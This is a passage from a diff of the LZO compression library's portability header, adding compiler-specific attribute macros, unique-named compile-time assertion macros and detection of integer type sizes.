+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450))
+# define __lzo_forceinline __forceinline
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
+# define __lzo_forceinline __forceinline
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#endif
+#endif
+#if defined(__lzo_forceinline)
+# ifndef __lzo_HAVE_forceinline
+# define __lzo_HAVE_forceinline 1
+# endif
+#else
+# define __lzo_forceinline __lzo_inline
+#endif
+#if !defined(__lzo_noinline)
+#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul)
+# define __lzo_noinline __attribute__((__noinline__,__used__))
+#elif (LZO_CC_GNUC >= 0x030200ul)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600))
+# define __lzo_noinline __declspec(noinline)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_noinline __declspec(noinline)
+#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64))
+# if defined(__cplusplus)
+# else
+# define __lzo_noinline __declspec(noinline)
+# endif
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_noinline __attribute__((__noinline__))
+#endif
+#endif
+#if defined(__lzo_noinline)
+# ifndef __lzo_HAVE_noinline
+# define __lzo_HAVE_noinline 1
+# endif
+#else
+# define __lzo_noinline /*empty*/
+#endif
+#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if !defined(__lzo_static_inline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline
+#endif
+#endif
+#if !defined(__lzo_static_inline)
+# define __lzo_static_inline static __lzo_inline
+#endif
+#if !defined(__lzo_static_forceinline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline
+#endif
+#endif
+#if !defined(__lzo_static_forceinline)
+# define __lzo_static_forceinline static __lzo_forceinline
+#endif
+#if !defined(__lzo_static_noinline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline
+#endif
+#endif
+#if !defined(__lzo_static_noinline)
+# define __lzo_static_noinline static __lzo_noinline
+#endif
+#if !defined(__lzo_c99_extern_inline)
+#if defined(__GNUC_GNU_INLINE__)
+# define __lzo_c99_extern_inline __lzo_inline
+#elif defined(__GNUC_STDC_INLINE__)
+# define __lzo_c99_extern_inline extern __lzo_inline
+#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L)
+# define __lzo_c99_extern_inline extern __lzo_inline
+#endif
+#if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline)
+# define __lzo_c99_extern_inline __lzo_inline
+#endif
+#endif
+#if defined(__lzo_c99_extern_inline)
+# ifndef __lzo_HAVE_c99_extern_inline
+# define __lzo_HAVE_c99_extern_inline 1
+# endif
+#else
+# define __lzo_c99_extern_inline /*empty*/
+#endif
+#if !defined(__lzo_may_alias)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_CLANG >= 0x020900ul)
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_PGI >= 0x0d0a00ul) && 0
+# define __lzo_may_alias __attribute__((__may_alias__))
+#endif
+#endif
+#if defined(__lzo_may_alias)
+# ifndef __lzo_HAVE_may_alias
+# define __lzo_HAVE_may_alias 1
+# endif
+#else
+# define __lzo_may_alias /*empty*/
+#endif
+#if !defined(__lzo_noreturn)
+#if (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450))
+# define __lzo_noreturn __declspec(noreturn)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600))
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
+# define __lzo_noreturn __declspec(noreturn)
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#endif
+#endif
+#if defined(__lzo_noreturn)
+# ifndef __lzo_HAVE_noreturn
+# define __lzo_HAVE_noreturn 1
+# endif
+#else
+# define __lzo_noreturn /*empty*/
+#endif
+#if !defined(__lzo_nothrow)
+#if (LZO_CC_GNUC >= 0x030300ul)
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus)
+# define __lzo_nothrow __declspec(nothrow)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900))
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus)
+# define __lzo_nothrow __declspec(nothrow)
+#endif
+#endif
+#if defined(__lzo_nothrow)
+# ifndef __lzo_HAVE_nothrow
+# define __lzo_HAVE_nothrow 1
+# endif
+#else
+# define __lzo_nothrow /*empty*/
+#endif
+#if !defined(__lzo_restrict)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_IBMC >= 1210)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600))
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_MSC && (_MSC_VER >= 1400))
+# define __lzo_restrict __restrict
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_restrict __restrict__
+#endif
+#endif
+#if defined(__lzo_restrict)
+# ifndef __lzo_HAVE_restrict
+# define __lzo_HAVE_restrict 1
+# endif
+#else
+# define __lzo_restrict /*empty*/
+#endif
+#if !defined(__lzo_alignof)
+#if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_GHS) && !defined(__cplusplus)
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_IBMC >= 600)
+# define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e))
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700))
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_alignof(e) __alignof(e)
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_alignof(e) __alignof__(e)
+#endif
+#endif
+#if defined(__lzo_alignof)
+# ifndef __lzo_HAVE_alignof
+# define __lzo_HAVE_alignof 1
+# endif
+#endif
+#if !defined(__lzo_struct_packed)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul))
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul))
+#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus)
+#elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+# define __lzo_struct_packed(s) struct s {
+# define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__));
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_struct_packed(s) struct s {
+# define __lzo_struct_packed_end() } __attribute__((__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s {
+# define __lzo_struct_packed_end() } __attribute__((__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s {
+# define __lzo_struct_packed_end() } __pragma(pack(pop));
+#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900))
+# define __lzo_struct_packed(s) _Packed struct s {
+# define __lzo_struct_packed_end() };
+#endif
+#endif
+#if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma)
+# define __lzo_struct_packed_ma(s) __lzo_struct_packed(s)
+#endif
+#if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end)
+# define __lzo_struct_packed_ma_end() __lzo_struct_packed_end()
+#endif
+#if !defined(__lzo_byte_struct)
+#if defined(__lzo_struct_packed)
+# define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end()
+# define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end()
+#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__));
+# define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__));
+#endif
+#endif
+#if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma)
+# define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n)
+#endif
+#if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof)
+#if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul))
+#elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_CILLY || LZO_CC_PCC)
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_struct_align16(s) struct __declspec(align(16)) s {
+# define __lzo_struct_align16_end() };
+# define __lzo_struct_align32(s) struct __declspec(align(32)) s {
+# define __lzo_struct_align32_end() };
+# define __lzo_struct_align64(s) struct __declspec(align(64)) s {
+# define __lzo_struct_align64_end() };
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_struct_align16(s) struct s {
+# define __lzo_struct_align16_end() } __attribute__((__aligned__(16)));
+# define __lzo_struct_align32(s) struct s {
+# define __lzo_struct_align32_end() } __attribute__((__aligned__(32)));
+# define __lzo_struct_align64(s) struct s {
+# define __lzo_struct_align64_end() } __attribute__((__aligned__(64)));
+#endif
+#endif
+#if !defined(__lzo_union_um)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul))
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810))
+#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul))
+#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus)
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_union_am(s) union s {
+# define __lzo_union_am_end() } __lzo_may_alias;
+# define __lzo_union_um(s) union s {
+# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_union_am(s) __lzo_gnuc_extension__ union s {
+# define __lzo_union_am_end() } __lzo_may_alias;
+# define __lzo_union_um(s) __lzo_gnuc_extension__ union s {
+# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_union_um(s) __pragma(pack(push,1)) union s {
+# define __lzo_union_um_end() } __pragma(pack(pop));
+#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900))
+# define __lzo_union_um(s) _Packed union s {
+# define __lzo_union_um_end() };
+#endif
+#endif
+#if !defined(__lzo_union_am)
+# define __lzo_union_am(s) union s {
+# define __lzo_union_am_end() };
+#endif
+#if !defined(__lzo_constructor)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_constructor __attribute__((__constructor__,__used__))
+#elif (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_constructor __attribute__((__constructor__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_constructor __attribute__((__constructor__,__used__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_constructor __attribute__((__constructor__))
+#endif
+#endif
+#if defined(__lzo_constructor)
+# ifndef __lzo_HAVE_constructor
+# define __lzo_HAVE_constructor 1
+# endif
+#endif
+#if !defined(__lzo_destructor)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_destructor __attribute__((__destructor__,__used__))
+#elif (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_destructor __attribute__((__destructor__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_destructor __attribute__((__destructor__,__used__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_destructor __attribute__((__destructor__))
+#endif
+#endif
+#if defined(__lzo_destructor)
+# ifndef __lzo_HAVE_destructor
+# define __lzo_HAVE_destructor 1
+# endif
+#endif
+#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if !defined(__lzo_likely) && !defined(__lzo_unlikely)
+#if (LZO_CC_GNUC >= 0x030200ul)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_IBMC >= 1010)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800))
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#endif
+#endif
+#if defined(__lzo_likely)
+# ifndef __lzo_HAVE_likely
+# define __lzo_HAVE_likely 1
+# endif
+#else
+# define __lzo_likely(e) (e)
+#endif
+#if defined(__lzo_unlikely)
+# ifndef __lzo_HAVE_unlikely
+# define __lzo_HAVE_unlikely 1
+# endif
+#else
+# define __lzo_unlikely(e) (e)
+#endif
+#if !defined(__lzo_static_unused_void_func)
+# if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void)
+# else
+# define __lzo_static_unused_void_func(f) static __lzo_inline void f(void)
+# endif
+#endif
+#if !defined(__lzo_loop_forever)
+# if (LZO_CC_IBMC)
+# define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END
+# else
+# define __lzo_loop_forever() do { ; } while __lzo_cte(1)
+# endif
+#endif
+#if !defined(__lzo_unreachable)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul))
+# define __lzo_unreachable() __builtin_unreachable();
+#elif (LZO_CC_GNUC >= 0x040500ul)
+# define __lzo_unreachable() __builtin_unreachable();
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1
+# define __lzo_unreachable() __builtin_unreachable();
+#endif
+#endif
+#if defined(__lzo_unreachable)
+# ifndef __lzo_HAVE_unreachable
+# define __lzo_HAVE_unreachable 1
+# endif
+#else
+# if 0
+# define __lzo_unreachable() ((void)0);
+# else
+# define __lzo_unreachable() __lzo_loop_forever();
+# endif
+#endif
+#ifndef __LZO_CTA_NAME
+#if (LZO_CFG_USE_COUNTER)
+# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__)
+#else
+# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__)
+#endif
#endif
#if !defined(LZO_COMPILE_TIME_ASSERT_HEADER)
# if (LZO_CC_AZTECC || LZO_CC_ZORTECHC)
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END
# elif (LZO_CC_DMC || LZO_CC_SYMANTECC)
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1u-2*!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END
# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295))
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END
+# elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus)
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END
+# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__)
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END
# else
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-2*!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END
# endif
#endif
#if !defined(LZO_COMPILE_TIME_ASSERT)
# if (LZO_CC_AZTECC)
-# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __lzo_cta_t[1-!(e)];}
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];}
# elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC)
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
+# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__)
+# define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));}
+# elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus)
+# define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));}
+# elif (LZO_CC_GNUC >= 0x040700ul)
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));}
# elif (LZO_CC_MSC && (_MSC_VER < 900))
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295))
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
# else
-# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __lzo_cta_t[1-2*!(e)];}
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];}
# endif
#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1)
+#if defined(__cplusplus)
+extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) }
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3)
#if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC)
# elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC)
@@ -1709,6 +1945,7 @@
# define __lzo_cdecl_va __lzo_cdecl
#endif
#if !(LZO_CFG_NO_WINDOWS_H)
+#if !defined(LZO_HAVE_WINDOWS_H)
#if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000))
# elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__)
@@ -1718,61 +1955,615 @@
# endif
#endif
#endif
+#endif
+#ifndef LZO_SIZEOF_SHORT
+#if defined(SIZEOF_SHORT)
+# define LZO_SIZEOF_SHORT (SIZEOF_SHORT)
+#elif defined(__SIZEOF_SHORT__)
+# define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_INT
+#if defined(SIZEOF_INT)
+# define LZO_SIZEOF_INT (SIZEOF_INT)
+#elif defined(__SIZEOF_INT__)
+# define LZO_SIZEOF_INT (__SIZEOF_INT__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_LONG
+#if defined(SIZEOF_LONG)
+# define LZO_SIZEOF_LONG (SIZEOF_LONG)
+#elif defined(__SIZEOF_LONG__)
+# define LZO_SIZEOF_LONG (__SIZEOF_LONG__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_LONG_LONG
+#if defined(SIZEOF_LONG_LONG)
+# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG)
+#elif defined(__SIZEOF_LONG_LONG__)
+# define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT16
+#if defined(SIZEOF___INT16)
+# define LZO_SIZEOF___INT16 (SIZEOF___INT16)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT32
+#if defined(SIZEOF___INT32)
+# define LZO_SIZEOF___INT32 (SIZEOF___INT32)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT64
+#if defined(SIZEOF___INT64)
+# define LZO_SIZEOF___INT64 (SIZEOF___INT64)
+#endif
+#endif
+#ifndef LZO_SIZEOF_VOID_P
+#if defined(SIZEOF_VOID_P)
+# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P)
+#elif defined(__SIZEOF_POINTER__)
+# define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_SIZE_T
+#if defined(SIZEOF_SIZE_T)
+# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T)
+#elif defined(__SIZEOF_SIZE_T__)
+# define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_PTRDIFF_T
+#if defined(SIZEOF_PTRDIFF_T)
+# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T)
+#elif defined(__SIZEOF_PTRDIFF_T__)
+# define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__)
+#endif
+#endif
+#define __LZO_LSR(x,b) (((x)+0ul) >> (b))
+#if !defined(LZO_SIZEOF_SHORT)
+# if (LZO_ARCH_CRAY_PVP)
+# define LZO_SIZEOF_SHORT 8
+# elif (USHRT_MAX == LZO_0xffffL)
+# define LZO_SIZEOF_SHORT 2
+# elif (__LZO_LSR(USHRT_MAX,7) == 1)
+# define LZO_SIZEOF_SHORT 1
+# elif (__LZO_LSR(USHRT_MAX,15) == 1)
+# define LZO_SIZEOF_SHORT 2
+# elif (__LZO_LSR(USHRT_MAX,31) == 1)
+# define LZO_SIZEOF_SHORT 4
+# elif (__LZO_LSR(USHRT_MAX,63) == 1)
+# define LZO_SIZEOF_SHORT 8
+# elif (__LZO_LSR(USHRT_MAX,127) == 1)
+# define LZO_SIZEOF_SHORT 16
+# else
+# error "LZO_SIZEOF_SHORT"
+# endif
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short))
+#if !defined(LZO_SIZEOF_INT)
+# if (LZO_ARCH_CRAY_PVP)
+# define LZO_SIZEOF_INT 8
+# elif (UINT_MAX == LZO_0xffffL)
+# define LZO_SIZEOF_INT 2
+# elif (UINT_MAX == LZO_0xffffffffL)
+# define LZO_SIZEOF_INT 4
+# elif (__LZO_LSR(UINT_MAX,7) == 1)
+# define LZO_SIZEOF_INT 1
+# elif (__LZO_LSR(UINT_MAX,15) == 1)
+# define LZO_SIZEOF_INT 2
+# elif (__LZO_LSR(UINT_MAX,31) == 1)
+# define LZO_SIZEOF_INT 4
+# elif (__LZO_LSR(UINT_MAX,63) == 1)
+# define LZO_SIZEOF_INT 8
+# elif (__LZO_LSR(UINT_MAX,127) == 1)
+# define LZO_SIZEOF_INT 16
+# else
+# error "LZO_SIZEOF_INT"
+# endif
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int))
+#if !defined(LZO_SIZEOF_LONG)
+# if (ULONG_MAX == LZO_0xffffffffL)
+# define LZO_SIZEOF_LONG 4
+# elif (__LZO_LSR(ULONG_MAX,7) == 1)
+# define LZO_SIZEOF_LONG 1
+# elif (__LZO_LSR(ULONG_MAX,15) == 1)
+# define LZO_SIZEOF_LONG 2
+# elif (__LZO_LSR(ULONG_MAX,31) == 1)
+# define LZO_SIZEOF_LONG 4
+# elif (__LZO_LSR(ULONG_MAX,39) == 1)
+# define LZO_SIZEOF_LONG 5
+# elif (__LZO_LSR(ULONG_MAX,63) == 1)
+# define LZO_SIZEOF_LONG 8
+# elif (__LZO_LSR(ULONG_MAX,127) == 1)
+# define LZO_SIZEOF_LONG 16
+# else
+# error "LZO_SIZEOF_LONG"
+# endif
+#endif
